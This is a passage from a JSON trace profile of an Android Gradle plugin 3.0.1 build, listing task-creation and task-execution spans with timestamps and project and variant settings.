task","args":{"span_id":"18","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039086000,"dur":100},{"pid":1,"tid":7,"id":19,"name":"app task manager create shader task","args":{"span_id":"19","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039086000,"dur":1000},{"pid":1,"tid":7,"id":20,"name":"app task manager create ndk task","args":{"span_id":"20","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039087000,"dur":100},{"pid":1,"tid":7,"id":21,"name":"app task manager create external native build task","args":{"span_id":"21","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039087000,"dur":100},{"pid":1,"tid":7,"id":22,"name":"app task manager create merge jnilibs folders task","args":{"span_id":"22","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039087000,"dur":100},{"pid":1,"tid":7,"id":23,"name":"app task manager create compile task","args":{"span_id":"23","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039087000,"dur":1000},{"pid":1,"tid":7,"id":24,"name":"app task manager create packaging task","args":{"span_id":"24","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039088000,"dur":1000},{"pid":1,"tid":7,"id":25,"name":"app task manager create lint task","args":{"span_id":"25","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039089000,"dur":100},{"pid":1,"tid":7,"id":10,"name":"variant manager create tasks for variant","args":{"span_id":"10","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039083000,"dur":6000},{"pid":1,"tid":7,"id":26,"name":"variant manager create tasks for variant","args":{"span_id":"26","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039089000,"dur":2000},{"pid":1,"tid":7,"id":28,"name":"app task manager create merge manifest task","args":{"span_id":"28","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039091000,"dur":100},{"pid":1,"tid":7,"id":29,"name":"app task manager create generate res values task","args":{"span_id":"29","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039091000,"dur":100},{"pid":1,"tid":7,"id":30,"name":"app task manager create create renderscript task","args":{"span_id":"30","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039091000,"dur":100},{"pid":1,"tid":7,"id":31,"name":"app task manager create merge resources task","args":{"span_id":"31","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039091000,"dur":1000},{"pid":1,"tid":7,"id":32,"name":"app task manager create merge assets task","args":{"span_id":"32","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039092000,"dur":100},{"pid":1,"tid":7,"id":33,"name":"app task manager create build config task","args":{"span_id":"33","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039092000,"dur":100},{"pid":1,"tid":7,"id":34,"name":"app task manager create process res task","args":{"span_id":"34","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039092000,"dur":100},{"pid":1,"tid":7,"id":35,"name":"app task manager create aidl task","args":{"span_id":"35","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039092000,"dur":100},{"pid":1,"tid":7,"id":36,"name":"app task manager create shader task","args":{"span_id":"36","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039092000,"dur":100},{"pid":1,"tid":7,"id":37,"name":"app task manager create ndk task","args":{"span_id":"37","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039092000,"dur":100},{"pid":1,"tid":7,"id":38,"name":"app task manager create external native build task","args":{"span_id":"38","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039092000,"dur":100},{"pid":1,"tid":7,"id":39,"name":"app task manager create merge jnilibs folders task","args":{"span_id":"39","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039092000,"dur":100},{"pid":1,"tid":7,"id":40,"name":"app task manager create compile task","args":{"span_id":"40","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039092000,"dur":1000},{"pid":1,"tid":7,"id":41,"name":"app task manager create packaging task","args":{"span_id":"41","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039093000,"dur":100},{"pid":1,"tid":7,"id":42,"name":"app task manager create lint task","args":{"span_id":"42","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039093000,"dur":100},{"pid":1,"tid":7,"id":27,"name":"variant manager create tasks for variant","args":{"span_id":"27","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 2\nis_debug: false\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n"},"ph":"X","ts":1514228039091000,"dur":2000},{"pid":1,"tid":7,"id":43,"name":"variant manager create tasks for variant","args":{"span_id":"43","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039093000,"dur":1000},{"pid":1,"tid":7,"id":44,"name":"variant manager create tasks for variant","args":{"span_id":"44","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039094000,"dur":3000},{"pid":1,"tid":7,"id":7,"name":"variant manager create android tasks","args":{"span_id":"7","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039080000,"dur":17000},{"pid":1,"tid":7,"id":45,"name":"variant manager external native config values","args":{"span_id":"45","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039097000,"dur":100},{"pid":1,"tid":7,"id":6,"name":"base plugin create android tasks","args":{"span_id":"6","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n"},"ph":"X","ts":1514228039050000,"dur":47000},{"pid":1,"tid":0,"id":46,"name":"task: unknown task type","args":{"span_id":"46","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039105000,"dur":1000},{"pid":1,"tid":0,"id":47,"name":"task: app pre build","args":{"span_id":"47","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 92\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039106000,"dur":20000},{"pid":1,"tid":0,"id":48,"name":"task: aidl compile","args":{"span_id":"48","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 1\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039126000,"dur":1000},{"pid":1,"tid":0,"id":49,"name":"task: renderscript compile","args":{"span_id":"49","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 54\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039128000,"dur":1000},{"pid":1,"tid":0,"id":50,"name":"task: check manifest","args":{"span_id":"50","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 8\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039129000,"dur":1000},{"pid":1,"tid":0,"id":51,"name":"task: generate build config","args":{"span_id":"51","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 24\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039130000,"dur":100},{"pid":1,"tid":0,"id":52,"name":"task: prepare lint jar","args":{"span_id":"52","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 119\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039130000,"dur":100},{"pid":1,"tid":0,"id":53,"name":"task: generate res values","args":{"span_id":"53","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 26\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039131000,"dur":100},{"pid":1,"tid":0,"id":54,"name":"task: unknown task type","args":{"span_id":"54","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039131000,"dur":100},{"pid":1,"tid":0,"id":55,"name":"task: merge resources","args":{"span_id":"55","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 40\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039131000,"dur":10000},{"pid":1,"tid":0,"id":56,"name":"task: compatible screens manifest","args":{"span_id":"56","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 9\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039142000,"dur":100},{"pid":1,"tid":0,"id":57,"name":"task: merge manifests","args":{"span_id":"57","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 39\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039142000,"dur":2000},{"pid":1,"tid":0,"id":58,"name":"task: splits discovery","args":{"span_id":"58","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 87\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039144000,"dur":100},{"pid":1,"tid":0,"id":59,"name":"task: process android resources","args":{"span_id":"59","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 51\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039144000,"dur":3000},{"pid":1,"tid":0,"id":60,"name":"task: unknown task type","args":{"span_id":"60","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039147000,"dur":100},{"pid":1,"tid":0,"id":61,"name":"task: java pre compile","args":{"span_id":"61","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 76\ndid_work: false\nskipped: true\nup_to_date: true\nfailed: false\n"},"ph":"X","ts":1514228039148000,"dur":9000},{"pid":1,"tid":0,"id":62,"name":"task: android java compile","args":{"span_id":"62","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 3\ndid_work: true\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039157000,"dur":47000},{"pid":1,"tid":0,"id":63,"name":"task: ndk compile","args":{"span_id":"63","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: false\nvariant_type: APPLICATION\nmin_sdk_version {\n api_level: 16\n}\ntarget_sdk_version {\n api_level: 23\n}\ndex_builder: DX_DEXER\ndex_merger: DX_MERGER\n","task":"type: 43\ndid_work: false\nskipped: true\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039204000,"dur":100},{"pid":1,"tid":0,"id":64,"name":"task: unknown task type","args":{"span_id":"64","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","task":"type: 0\ndid_work: false\nskipped: false\nup_to_date: false\nfailed: false\n"},"ph":"X","ts":1514228039204000,"dur":100},{"pid":1,"tid":0,"id":65,"name":"task: merge source set folders","args":{"span_id":"65","project":"id: 1\nandroid_plugin_version: \"3.0.1\"\nandroid_plugin: APPLICATION\nplugin_generation: FIRST\nbuild_tools_version: \"26.0.2\"\ncompile_sdk: \"android-26\"\nsplits {\n}\n","variant":"id: 1\nis_debug: true\nminify_enabled: false\nuse_multidex: false\nuse_legacy_multidex: 